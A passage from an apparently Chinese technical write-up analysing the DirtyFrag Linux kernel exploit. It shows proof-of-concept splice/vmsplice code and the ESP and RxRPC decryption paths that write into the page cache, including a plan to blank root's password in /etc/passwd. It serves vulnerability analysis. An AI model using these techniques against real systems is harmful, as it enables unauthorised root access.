Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">do_one_write()</span></code><span leaf="">里和页缓存写有关的是下面几行：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="313" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(163, 21, 21);"><span leaf="">uint8_t</span></span><span leaf=""> hdr[</span><span style="color: rgb(0, 128, 0);"><span leaf="">24</span></span><span leaf="">];</span><br/><span leaf="">*(</span><span style="color: rgb(163, 21, 21);"><span leaf="">uint32_t</span></span><span leaf=""> *)(hdr + </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">) = htonl(spi);</span><br/><span leaf="">*(</span><span style="color: rgb(163, 21, 21);"><span leaf="">uint32_t</span></span><span leaf=""> *)(hdr + </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">) = htonl(SEQ_VAL);</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">memset</span></span><span leaf="">(hdr + </span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0xCC</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">16</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">iovec</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">iov_h</span></span><span leaf=""> =</span></span><span leaf=""> { .iov_base = hdr, .iov_len = </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(hdr) };</span><br/><span leaf="">vmsplice(pfd[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">], &amp;iov_h, </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">);</span><br/><span leaf="">splice(file_fd, &amp;off, pfd[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">], </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">16</span></span><span leaf="">, SPLICE_F_MOVE);</span><br/><span leaf="">splice(pfd[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">], </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, sk_send, </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">24</span></span><span leaf=""> + </span><span style="color: rgb(0, 128, 0);"><span leaf="">16</span></span><span leaf="">, SPLICE_F_MOVE);</span></code></pre><p data-line="325" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">前置的socket设置决定这批数据会进入ESP接收路径：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">setsockopt(...,UDP_ENCAP_ESPINUDP,...)</span></code><p><span leaf="">会让UDP接收路径进入ESP-in-UDP处理逻辑，包会被送到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">xfrm4_udp_encap_rcv()</span></code><span leaf="">，再进入</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">esp_input()</span></code><span leaf="">。</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vmsplice()</span></code><p><span leaf="">先把伪造ESP头放入pipe，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">splice(file_fd,...)</span></code><span leaf="">再把目标文件页缓存挂入pipe，最后</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">splice(pipe,socket,...)</span></code><span leaf="">把它们送进UDPsocket。由于走零拷贝路径，目标文件页以</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">skb-&gt;frags[0]</span></code><span leaf="">形态到达接收侧。</span></p></li></ol><p data-line="330" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">最终接收侧看到的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">skb</span></code><span leaf="">大概是这样：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="332" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">skb {</span><br/><span leaf="">	head: ESP头8字节，IV16字节</span><br/><span leaf="">	frags[0]: PageCache页P，偏移i*4，长度16字节</span><br/><span leaf="">}</span></code></pre><p data-line="339" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">而漏洞写入发生在接收侧：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="341" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">udp_rcv</span><br/><span leaf="">	xfrm4_udp_encap_rcv</span><br/><span leaf="">		xfrm_input</span><br/><span leaf="">			esp_input</span><br/><span leaf="">				跳过skb_cow_data</span><br/><span leaf="">				esp_input_set_header写入seq_hi</span><br/><span leaf="">				skb_to_sgvec把frag映射到sg</span><br/><span leaf="">				crypto_authenc_esn_decrypt</span><br/><span leaf="">					scatterwalk_map_and_copy写4字节到PageCache</span></code></pre><p data-line="353" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">ESP路径没有竞争窗口，不靠抢时序。只要包走到这条分支，页缓存页就会出现在原地解密的写入位置。</span></p><h2 data-line="355" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">RxRPC漏洞原理</span></h2><p data-line="357" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">ESP路径写入能力更强，但它有一个现实问题：需要</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">unshare(CLONE_NEWUSER|CLONE_NEWNET)</span></code><span leaf="">。Ubuntu近年可能通过AppArmor策略限制非特权用户创建user namespace，这会让ESP路径起不来。</span></p><p data-line="359" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">针对这个盲区，DirtyFrag接上了RxRPC路径。</span></p><p data-line="361" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">RxRPC分支的问题点在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">rxkad_verify_packet_1()</span></code><span leaf="">。它为了校验</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">RXRPC_SECURITY_AUTH</span></code><span leaf="">级别的数据包，会对</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">skb</span></code><span leaf="">里的前8字节payload做一次原地</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pcbc(fcrypt)</span></code><span leaf="">解密。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="363" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">rxkad_verify_packet_1</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> rxrpc_call *call,</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> sk_buff *skb, </span><span style="color: rgb(163, 21, 21);"><span leaf="">rxrpc_seq_t</span></span><span leaf=""> seq,</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> skcipher_request *req)</span></span><span leaf="">{</span><br/><span leaf="">	sg_init_table(sg, ARRAY_SIZE(sg));</span><br/><span leaf="">	ret = skb_to_sgvec(skb, sg, sp-&gt;offset, </span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (unlikely(ret &lt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">))</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> ret;</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">memset</span></span><span leaf="">(&amp;iv, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(iv));</span><br/><span leaf="">	skcipher_request_set_sync_tfm(req, call-&gt;conn-&gt;rxkad.cipher);</span><br/><span leaf="">	skcipher_request_set_callback(req, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">);</span><br/><span leaf="">	skcipher_request_set_crypt(req, sg, sg, </span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf="">, iv.x);</span><br/><span leaf="">	ret = crypto_skcipher_decrypt(req);</span><br/><span leaf="">}</span></code></pre><p data-line="382" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这里的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sg,sg</span></code><span leaf="">说明源和目的相同。只要攻击者能通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">splice()</span></code><span leaf="">把目标文件页塞进</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">skb-&gt;frags[]</span></code><span leaf="">，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">skb_to_sgvec()</span></code><span leaf="">就会把这个页缓存页映射成scatterlist，后面的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">crypto_skcipher_decrypt()</span></code><span leaf="">就会在页缓存上做8字节STORE。</span></p><p data-line="384" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">但RxRPC和ESP不一样。ESP写入值来自</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">seq_hi</span></code><span leaf="">，几乎可以当任意4字节写。RxRPC写入值是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="386" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">P = fcrypt_decrypt(C,K)</span></code></pre><p data-line="390" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">其中</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">C</span></code><span leaf="">是当前位置原本的8字节内容，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">K</span></code><span leaf="">是攻击者通过RxRPCkey控制的8字节session key。攻击者不能直接指定</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">P</span></code><span leaf="">，只能离线爆破</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">K</span></code><span leaf="">，直到解密结果满足目标格式。</span></p><p data-line="392" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">所以RxRPC路径不适合像ESP那样写完整ELF。PoC换了一个更省字节的目标：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/etc/passwd</span></code><span leaf="">第一行。</span></p><p data-line="394" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">正常root行类似：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="396" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">root:x:0:0:root:/root:/bin/bash</span></code></pre><p data-line="400" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">PoC要把它改成：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="402" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">root::0:0:GGGGGG:/root:/bin/bash</span></code></pre><p data-line="406" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">也就是把root的密码字段变成空字符串。在PoC针对的Ubuntu等PAM配置中，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pam_unix.so nullok</span></code><span leaf="">会接受空密码字段，</span><code style="font-family: Menlo, Monaco, 